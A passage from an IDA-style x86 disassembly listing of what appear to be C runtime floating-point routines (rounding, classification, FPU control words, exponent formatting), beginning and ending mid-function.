		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41E14B:				; CODE XREF: sub_41DF3F+1F9j
					; sub_41DF3F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41DF3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41E156(int,int,int,int,int,int,double,int)

sub_41E156	proc near		; CODE XREF: sub_41DBA1+2Bp
					; sub_41DBF4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41E204
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41E1C1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41E3C9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_420C2D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E1BB
		push	esi
		call	sub_41E1DE
		pop	ecx


loc_41E1BB:				; CODE XREF: sub_41E156+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E1C1:				; CODE XREF: sub_41E156+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41E3C9
		push	[ebp+arg_0]
		call	sub_41E1DE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41E156	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1DE	proc near		; CODE XREF: sub_41DBF4+7Dp
					; sub_41E156+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41E1F9
		jle	short locret_41E203
		cmp	eax, 3
		jg	short locret_41E203
		mov	dword_4DCD74, 22h
		retn
; ---------------------------------------------------------------------------


loc_41E1F9:				; CODE XREF: sub_41E1DE+7j
		mov	dword_4DCD74, 21h

locret_41E203:				; CODE XREF: sub_41E1DE+9j
					; sub_41E1DE+Ej
		retn
sub_41E1DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E204	proc near		; CODE XREF: sub_41E156+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43F718


loc_41E20B:				; CODE XREF: sub_41E204+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41E221
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43F7F0
		jl	short loc_41E20B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E221:				; CODE XREF: sub_41E204+Dj
		mov	eax, off_43F71C[ecx*8]
		retn
sub_41E204	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E229	proc near		; CODE XREF: sub_41DBF4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41E235
		push	5
		jmp	short loc_41E24B
; ---------------------------------------------------------------------------


loc_41E235:				; CODE XREF: sub_41E229+6j
		test	al, 8
		jz	short loc_41E23D
		push	1
		jmp	short loc_41E24B
; ---------------------------------------------------------------------------


loc_41E23D:				; CODE XREF: sub_41E229+Ej
		test	al, 4
		jz	short loc_41E245
		push	2
		jmp	short loc_41E24B
; ---------------------------------------------------------------------------


loc_41E245:				; CODE XREF: sub_41E229+16j
		test	al, 1
		jz	short loc_41E24D
		push	3


loc_41E24B:				; CODE XREF: sub_41E229+Aj
					; sub_41E229+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E24D:				; CODE XREF: sub_41E229+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41E229	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41E256(double)

sub_41E256	proc near		; CODE XREF: sub_4193D9:loc_41945Fp
					; sub_41951F:loc_4195A5p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41E256	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41E268(double,int)

sub_41E268	proc near		; CODE XREF: sub_41E2EB+82p
					; sub_41E2EB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41E268	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E291	proc near		; CODE XREF: sub_4193D9+31p
					; sub_41951F+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41E2A8
		cmp	[ebp+arg_0], edx
		jnz	short loc_41E2BA
		push	1
		jmp	short loc_41E2E4
; ---------------------------------------------------------------------------


loc_41E2A8:				; CODE XREF: sub_41E291+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41E2BA
		cmp	[ebp+arg_0], edx
		jnz	short loc_41E2BA
		push	2
		jmp	short loc_41E2E4
; ---------------------------------------------------------------------------


loc_41E2BA:				; CODE XREF: sub_41E291+11j
					; sub_41E291+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41E2CD
		push	3
		jmp	short loc_41E2E4
; ---------------------------------------------------------------------------


loc_41E2CD:				; CODE XREF: sub_41E291+36j
		cmp	cx, 7FF0h
		jnz	short loc_41E2E7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41E2E2
		cmp	[ebp+arg_0], edx
		jz	short loc_41E2E7


loc_41E2E2:				; CODE XREF: sub_41E291+4Aj
		push	4


loc_41E2E4:				; CODE XREF: sub_41E291+15j
					; sub_41E291+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E2E7:				; CODE XREF: sub_41E291+41j
					; sub_41E291+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41E291	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41E2EB(double,int)

sub_41E2EB	proc near		; CODE XREF: sub_41DF3F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424870
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41E30B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41E3A1
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E2EB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41E37A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41E323
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41E37A


loc_41E323:				; CODE XREF: sub_41E2EB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424870
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41E33B
		push	1
		pop	eax
		jmp	short loc_41E33D
; ---------------------------------------------------------------------------


loc_41E33B:				; CODE XREF: sub_41E2EB+49j
		xor	eax, eax


loc_41E33D:				; CODE XREF: sub_41E2EB+4Ej
					; sub_41E2EB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41E356
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41E350
		or	dword ptr [ebp+arg_0+4], 1


loc_41E350:				; CODE XREF: sub_41E2EB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41E33D
; ---------------------------------------------------------------------------


loc_41E356:				; CODE XREF: sub_41E2EB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41E364
		or	byte ptr [ebp+arg_0+7],	80h


loc_41E364:				; CODE XREF: sub_41E2EB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41E268
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41E3A1
; ---------------------------------------------------------------------------


loc_41E37A:				; CODE XREF: sub_41E2EB+28j
					; sub_41E2EB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41E268
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41E3A1:				; CODE XREF: sub_41E2EB+1Bj
					; sub_41E2EB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41E2EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3AC	proc near		; CODE XREF: sub_41DC8C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41E3AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3BA	proc near		; CODE XREF: sub_41DC8C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41E3BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3C9	proc near		; CODE XREF: sub_4193D9+13p
					; sub_4193D9+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41E3C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3EC	proc near		; CODE XREF: sub_41DF3F+1Dp
					; sub_41DF3F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41E403
		fld	tbyte_43F818
		fistp	[ebp+arg_0]
		wait


loc_41E403:				; CODE XREF: sub_41E3EC+Bj
		test	cl, 8
		jz	short loc_41E418
		fstsw	ax
		fld	tbyte_43F818
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41E418:				; CODE XREF: sub_41E3EC+1Aj
		test	cl, 10h
		jz	short loc_41E427
		fld	tbyte_43F824
		fstp	[ebp+var_8]
		wait


loc_41E427:				; CODE XREF: sub_41E3EC+2Fj
		test	cl, 4
		jz	short loc_41E435
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41E435:				; CODE XREF: sub_41E3EC+3Ej
		test	cl, 20h
		jz	short locret_41E440
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41E440:				; CODE XREF: sub_41E3EC+4Cj
		leave
		retn
sub_41E3EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E442	proc near		; CODE XREF: sub_4194A8+Fp
		push	30000h
		push	10000h
		call	sub_420C65
		pop	ecx
		pop	ecx
		retn
sub_41E442	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E454	proc near		; CODE XREF: sub_41E492:loc_41E4B6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424880
		fstp	[ebp+var_8]
		fld	dbl_424878
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_424700
		fnstsw	ax
		sahf
		jbe	short loc_41E48E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E454+33j
		xor	eax, eax
		leave
		retn
sub_41E454	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E492	proc near		; CODE XREF: sub_4194A8+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_42409C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41E4B6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4240BC	; GetProcAddress
		test	eax, eax
		jz	short loc_41E4B6
		push	0
		call	eax ; sub_4194A8
		retn
; ---------------------------------------------------------------------------


loc_41E4B6:				; CODE XREF: sub_41E492+Dj
					; sub_41E492+1Dj
		jmp	sub_41E454
sub_41E492	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E4BB	proc near		; CODE XREF: sub_41C27F+3CBp
					; DATA XREF: sub_4194C0+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41A32C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41E4FB


loc_41E4CF:				; CODE XREF: sub_41E4BB+3Ej
		inc	esi
		cmp	dword_43F494, 1
		jle	short loc_41E4E8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41E4F7
; ---------------------------------------------------------------------------


loc_41E4E8:				; CODE XREF: sub_41E4BB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43F288
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41E4F7:				; CODE XREF: sub_41E4BB+2Bj
		test	eax, eax
		jnz	short loc_41E4CF


loc_41E4FB:				; CODE XREF: sub_41E4BB+12j
		mov	cl, byte_43F498
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41E506:				; CODE XREF: sub_41E4BB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41E506
		pop	esi
		retn
sub_41E4BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E515	proc near		; CODE XREF: sub_41C27F+3E2p
					; DATA XREF: sub_4194C0+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43F498
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E531


loc_41E525:				; CODE XREF: sub_41E515+1Aj
		cmp	cl, dl
		jz	short loc_41E531
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41E525


loc_41E531:				; CODE XREF: sub_41E515+Ej
					; sub_41E515+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41E562


loc_41E538:				; CODE XREF: sub_41E515+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E54B
		cmp	cl, 65h
		jz	short loc_41E54B
		cmp	cl, 45h
		jz	short loc_41E54B
		inc	eax
		jmp	short loc_41E538
; ---------------------------------------------------------------------------


loc_41E54B:				; CODE XREF: sub_41E515+27j
					; sub_41E515+2Cj ...
		mov	ecx, eax


loc_41E54D:				; CODE XREF: sub_41E515+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41E54D
		cmp	[eax], dl
		jnz	short loc_41E558
		dec	eax


loc_41E558:				; CODE XREF: sub_41E515+40j
					; sub_41E515+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41E558

locret_41E562:				; CODE XREF: sub_41E515+21j
		retn
sub_41E515	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E563	proc near		; DATA XREF: sub_4194C0+28o
					; .nsp0:off_43F840o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424870
		fnstsw	ax
		sahf
		jb	short loc_41E578
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E578:				; CODE XREF: sub_41E563+Fj
		xor	eax, eax
		retn
sub_41E563	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E57B	proc near		; CODE XREF: sub_41D0F0+430p
					; DATA XREF: sub_4194C0+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41E5A4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_421128
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E5A4:				; CODE XREF: sub_41E57B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_421155
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41E57B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B9	proc near		; CODE XREF: sub_41E836+17p
					; sub_41E880+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DCE10, 0
		push	ebx
		push	esi
		jz	short loc_41E5EE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DCE0C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41E8D1
		pop	ecx
		pop	ecx
		jmp	short loc_41E626
; ---------------------------------------------------------------------------


loc_41E5EE:				; CODE XREF: sub_41E5B9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4211F9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_421182
		add	esp, 14h


loc_41E626:				; CODE XREF: sub_41E5B9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41E632
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41E632:				; CODE XREF: sub_41E5B9+73j
		test	ebx, ebx
		jle	short loc_41E64A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43F498
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41E64A:				; CODE XREF: sub_41E5B9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DCE10, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_418C10
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41E671
		mov	byte ptr [ecx],	45h


loc_41E671:				; CODE XREF: sub_41E5B9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41E6B6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41E685
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41E685:				; CODE XREF: sub_41E5B9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41E69C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41E69C:				; CODE XREF: sub_41E5B9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41E6B3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41E6B3:				; CODE XREF: sub_41E5B9+E7j
		add	[ecx+1], bl


loc_41E6B6:				; CODE XREF: sub_41E5B9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E5B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6BD	proc near		; CODE XREF: sub_41E85D+13p
					; sub_41E880+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DCE10, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41E6F8
		mov	eax, dword_4DCE14
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DCE0C
		cmp	eax, ebx
		jnz	short loc_41E728
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41E728
; ---------------------------------------------------------------------------


loc_41E6F8:				; CODE XREF: sub_41E6BD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4211F9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_421182
		add	esp, 14h


loc_41E728:				; CODE XREF: sub_41E6BD+22j
					; sub_41E6BD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41E736
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41E736:				; CODE XREF: sub_41E6BD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41E74D
		push	1
		push	edi
		call	sub_41E8D1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41E74F
; ---------------------------------------------------------------------------


loc_41E74D:				; CODE XREF: sub_41E6BD+7Ej
		add	edi, eax


loc_41E74F:				; CODE XREF: sub_41E6BD+8Ej
		test	ebx, ebx
		jle	short loc_41E794
		push	1
		push	edi
		call	sub_41E8D1
		mov	al, byte_43F498
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41E794
		cmp	byte_4DCE10, 0
		jz	short loc_41E779
		neg	esi
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------


loc_41E779:				; CODE XREF: sub_41E6BD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41E781


loc_41E77F:				; CODE XREF: sub_41E6BD+BAj
		mov	ebx, esi


loc_41E781:				; CODE XREF: sub_41E6BD+C0j
		push	ebx
		push	edi
		call	sub_41E8D1
		push	ebx
		push	30h
		push	edi
		call	sub_4182F0
		add	esp, 14h


loc_41E794:				; CODE XREF: sub_41E6BD+94j
					; sub_41E6BD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E6BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E79B	proc near		; CODE XREF: sub_41E880+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4211F9
		mov	dword_4DCE0C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DCE14, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_421182
		mov	eax, dword_4DCE0C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DCE14, ecx
		setl	cl
		mov	byte_4DCE18, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DCE14, eax
		jl	short loc_41E821
		cmp	eax, ebx
		jge	short loc_41E821
		test	cl, cl
		jz	short loc_41E812


loc_41E808:				; CODE XREF: sub_41E79B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41E808
		and	[esi-2], al


loc_41E812:				; CODE XREF: sub_41E79B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41E85D
		add	esp, 0Ch
		jmp	short loc_41E831
; ---------------------------------------------------------------------------


loc_41E821:				; CODE XREF: sub_41E79B+63j
					; sub_41E79B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41E836
		add	esp, 10h


loc_41E831:				; CODE XREF: sub_41E79B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E79B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E836	proc near		; CODE XREF: sub_41E79B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DCE10, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41E5B9
		and	byte_4DCE10, 0
		add	esp, 10h
		retn
sub_41E836	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E85D	proc near		; CODE XREF: sub_41E79B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DCE10, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E6BD
		and	byte_4DCE10, 0
		add	esp, 0Ch
		retn
sub_41E85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E880	proc near		; CODE XREF: sub_41C27F+3AAp
					; DATA XREF: sub_4194C0o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41E8BB
		cmp	[ebp+arg_8], 45h
		jz	short loc_41E8BB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41E8A8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41E6BD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E8A8:				; CODE XREF: sub_41E880+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41E79B
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8BB:				; CODE XREF: sub_41E880+7j
					; sub_41E880+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41E5B9


loc_41E8CC:				; CODE XREF: sub_41E880+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41E880	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E8D1	proc near		; CODE XREF: sub_41E5B9+2Cp
					; sub_41E6BD+83p ...

arg_0		= dword	ptr  4
